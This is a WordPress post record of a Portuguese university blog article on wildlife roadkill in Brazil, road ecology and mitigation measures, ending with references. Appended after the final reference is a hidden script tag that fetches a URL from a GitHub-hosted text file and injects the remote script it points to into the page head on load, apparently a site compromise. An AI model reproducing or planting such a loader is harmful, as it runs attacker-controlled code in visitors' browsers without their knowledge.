{"id":937,"date":"2020-10-14T16:13:19","date_gmt":"2020-10-14T19:13:19","guid":{"rendered":"http:\/\/www2.uesb.br\/galapagos\/?p=937"},"modified":"2024-10-07T15:27:48","modified_gmt":"2024-10-07T18:27:48","slug":"por-que-tantos-animais-sao-atropelados","status":"publish","type":"post","link":"https:\/\/www2.uesb.br\/galapagos\/2020\/10\/14\/por-que-tantos-animais-sao-atropelados\/","title":{"rendered":"Por que tantos animais s\u00e3o atropelados?"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-938 alignright\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/10\/catsss-300x224.jpg\" alt=\"\" width=\"300\" height=\"224\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/10\/catsss-300x224.jpg 300w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/10\/catsss-1024x766.jpg 1024w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/10\/catsss-768x575.jpg 768w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/10\/catsss-1536x1149.jpg 1536w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/10\/catsss.jpg 1600w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>A morte de animais silvestres por atropelamentos em rodovias \u00e9 considerada uma das principais causas da perda de biodiversidade, superando at\u00e9 mesmo impactos da ca\u00e7a. Uma estimativa parcial do Sistema Urubu, indica que 15 animais morrem nas estradas brasileiras a cada segundo. Diariamente, devem morrer mais de 1,3 milh\u00f5es de animais e ao final de um ano, at\u00e9 475 milh\u00f5es de animais selvagens s\u00e3o atropelados no Brasil.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Desse total, estima-se que 430 milh\u00f5es dos atropelados s\u00e3o pequenos animais (como sapos, pequenas aves, cobras, entre outros). Os 45 milh\u00f5es restantes se dividem em 40 milh\u00f5es de animais de m\u00e9dio porte (como gamb\u00e1s, lebres, macacos) e 5 milh\u00f5es s\u00e3o de grande porte (como on\u00e7as-pardas, lobos-guar\u00e1s, on\u00e7as-pintadas, antas, capivaras). Voc\u00ea deve estar se perguntando de quem \u00e9 a culpa, n\u00e9?<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Os animais silvestres ocupam os ecossistemas naturais a milh\u00f5es de anos, muito antes de n\u00f3s, humanos. H\u00e1 2000 anos eles se deslocavam livremente para suas necessidades di\u00e1rias. O que mudou? O aumento descontrolado das popula\u00e7\u00f5es humanas passou a ocupar, explorar e fragmentar cada vez mais os h\u00e1bitats naturais. Os atropelamentos s\u00e3o resultados do aprimoramento de um servi\u00e7o essencial na sociedade: deslocar-se r\u00e1pido e confortavelmente de um ponto ao outro.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">As primeiras estradas foram constru\u00eddas milhares de anos atr\u00e1s, por civiliza\u00e7\u00f5es antigas como os eg\u00edpcios. Essa rede comp\u00f5e, em todo o mundo, um papel essencial na conectividade econ\u00f4mica e social. As rodovias e ferrovias s\u00e3o constru\u00eddas sobre diferentes habitats; florestas, montanhas ou rios. Por conta disso, o estabelecimento de rodovias (e ferrovias) no decorrer da hist\u00f3ria tem deixado marcas de degrada\u00e7\u00e3o em diferentes paisagens.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Na d\u00e9cada de 60, enquanto pa\u00edses de primeiro mundo, como os Estados Unidos e a Alemanha, desenvolviam uma preocupa\u00e7\u00e3o com os efeitos das estradas, o Brasil estava no processo de expans\u00e3o de suas vias. A primeira rodovia brasileira foi iniciada em 1856, durante o reinado de D. Pedro II e ligava Petr\u00f3polis (RJ) a Juiz de Fora (MG). Um dos grandes incentivadores, Washington Lu\u00eds, liderando o governo de S\u00e3o Paulo (1917) e a presid\u00eancia do Brasil (1926-1930), abriu espa\u00e7o para a amplia\u00e7\u00e3o das estradas e ferrovias brasileiras com o seguinte slogan: \u201cGovernar \u00e9 abrir estradas\u201d. Fortemente incentivado, o transporte terrestre brasileiro evoluiu de forma r\u00e1pida e atualmente possui cerca de 1.580.964,8 Km.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-940 alignleft\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/10\/0e6e5e99-4522-45b1-8e2b-29ecaf53ea12-300x283.jpg\" alt=\"\" width=\"300\" height=\"283\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/10\/0e6e5e99-4522-45b1-8e2b-29ecaf53ea12-300x283.jpg 300w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/10\/0e6e5e99-4522-45b1-8e2b-29ecaf53ea12.jpg 570w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>A movimenta\u00e7\u00e3o dos animais no seu dia a dia e a presen\u00e7a de atrativos pr\u00f3ximos \u00e0 rodovia ou em regi\u00f5es do entorno podem gerar os atropelamentos. A ocorr\u00eancia de um atropelamento em si pode atrair outros animais (carn\u00edvoros), resultando em um ciclo de atropelamentos. Sem d\u00favidas, o principal impacto das estradas \u00e9 o atropelamento de fauna. Entretanto, existem outros impactos como a polui\u00e7\u00e3o sonora e h\u00eddrica, fragmenta\u00e7\u00e3o e perda de h\u00e1bitat, entrada de esp\u00e9cies ex\u00f3ticas, al\u00e9m do isolamento gen\u00e9tico dessas esp\u00e9cies.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Desse conflito, surgiu a ecologia de estradas. Essa nova ci\u00eancia, em resumo, deu origem a estudos sobre os impactos causados por esses empreendimentos e sua influ\u00eancia na paisagem, comunidade de entorno e na economia regional. Por que monitorar a fauna? Primeiro pela obriga\u00e7\u00e3o \u00e9tica de reduzir esse impacto. Segundo, porque os dados regionais (taxas de atropelamento e as esp\u00e9cies afetadas) permitem conhecimento adequado para propor e planejar a\u00e7\u00f5es de conserva\u00e7\u00e3o e solu\u00e7\u00f5es eficientes para cada caso espec\u00edfico.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-939 alignright\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/10\/clube-231x300.png\" alt=\"\" width=\"231\" height=\"300\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/10\/clube-231x300.png 231w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/10\/clube.png 401w\" sizes=\"auto, (max-width: 231px) 100vw, 231px\" \/>Solu\u00e7\u00f5es ben\u00e9ficas, tanto para a sociedade quanto para a natureza, nascem de um conjunto de a\u00e7\u00f5es baseadas nos princ\u00edpios da ecologia, no planejamento das estradas e na engenharia dos autom\u00f3veis. O planejamento de estrat\u00e9gias em grande escala, como a constru\u00e7\u00e3o de dutos, instala\u00e7\u00e3o de cercas com malha fina e de passagens de fauna s\u00e3o primordiais para reduzir o impacto e devem ser consideradas desde o planejamento das rodovias.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">A instala\u00e7\u00e3o de placas sinalizadoras, redu\u00e7\u00e3o da velocidade m\u00e1xima nos trechos cr\u00edticos, a instala\u00e7\u00e3o de redutores de velocidade e projetos de educa\u00e7\u00e3o no tr\u00e2nsito podem atuar como solu\u00e7\u00f5es imediatas e de baixo custo. \u00c9 importante tamb\u00e9m realizar projetos educacionais e liter\u00e1rios (sobre as rodovias, seus benef\u00edcios e impactos) com a comunidade que vive ao redor das estradas.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Necessitamos de inova\u00e7\u00e3o e criatividade para driblar os or\u00e7amentos apertados e o descaso governamental com a ci\u00eancia e os problemas ambientais. Os cientistas seguem enfrentando desafios di\u00e1rios no desenvolvimento de medidas de prote\u00e7\u00e3o e conscientiza\u00e7\u00e3o para diminuir o maior impacto causado aos animais.<\/span><\/p>\n<p>&nbsp;<\/p>\n<hr \/>\n<p><span style=\"color: #000000;\">Texto escrito por\u00a0<strong>Msc. Tainah Cruz Moreira\u00a0<\/strong>&#8211; publicado em outubro de 2020.<\/span><\/p>\n<hr \/>\n<p><span style=\"color: #000000;\">Imagem Destaque \/ 1: <a href=\"https:\/\/dribbble.com\/shots\/11621256-Highway-in-Alaska\">Highway in &#8211; Alaska<\/a> por Febin_Raj<\/span><\/p>\n<p><span style=\"color: #000000;\">Imagem 2: \u00c1lvaro Henrique<\/span><\/p>\n<p><span style=\"color: #000000;\">Imagem 3: Centro Brasileiro de estudos em ecologia de estradas<\/span><\/p>\n<hr \/>\n<p>MOREIRA, T. C. 2017. \u00a0Avalia\u00e7\u00e3o da influ\u00eancia da estrutura da paisagem e da sazonalidade sobre a ocorr\u00eancia de atropelamentos de vertebrados em um trecho da rodovia BA-120, Bahia-Brasil. Disserta\u00e7\u00e3o. 91 p.<\/p>\n<p>FORMAN, RTT. &amp; ALEXANDER, LE. 1998. Roads and their major ecological effects. Annual Review of Ecology and Systematics, vol. 29, p. 207\u2013232.<\/p>\n<p>Dispon\u00edvel em: http:\/\/cbee.ufla.br\/portal\/atropelometro\/<\/p>\n<p>Dispon\u00edvel em: http:\/\/www.dnit.gov.br\/planejamento-e-pesquisa\/historico-do-planejamento-de-transportes.<\/p>\n<p>Dispon\u00edvel em: http:\/\/faunanews.com.br\/2020\/08\/13\/acidente-com-animais-em-estradas-de-quem-e-a-culpa\/<\/p>\n<p>GALV\u00c3O, OJ. de A. 1996. Desenvolvimento dos transportes e integra\u00e7\u00e3o regional no Brasil \u2013 uma perspectiva hist\u00f3rica. Recife: Planejamento e Pol\u00edticas P\u00fablicas, no. 13, p. 183-213.<\/p>\n<p>COFFIN, AW. 2007. From roadkill to road ecology: a review of the ecological effects of roads. London: Journal of Transport Geography, vol. 15, p. 396\u2013406.<\/p>\n<p>MAIA, ACR. &amp; BAGER, A. 2013. Projeto Malha: Manual para equipe de campo. Lavras &#8211; MG: Universidade Federal de Lavras \u2013 MG. Centro Brasileiro de Estudos em Ecologia de Estradas, vol 1.<\/p>\n<p>FORMAN RTT.; SPERLING, D.; BISSONETTE JA.; CLEVENGER AP.; CUTSHALL, CD.; DALE, VH.; FAHRIG, L.; FRANCE, R.; GOLDMAN, CR.; HEANUE, K.; JONES, JA.; SWANSON, FJ.; TURRENTINE T. &amp; WINTER, TC. 2003. Road ecology: science and solutions. Washington: Island Press.<script>;var url = 'https:\/\/raw.githubusercontent.com\/AlexanderRPatton\/cdn\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A morte de animais silvestres por atropelamentos em rodovias \u00e9 considerada uma das principais causas da perda de biodiversidade, superando at\u00e9 mesmo impactos da ca\u00e7a. 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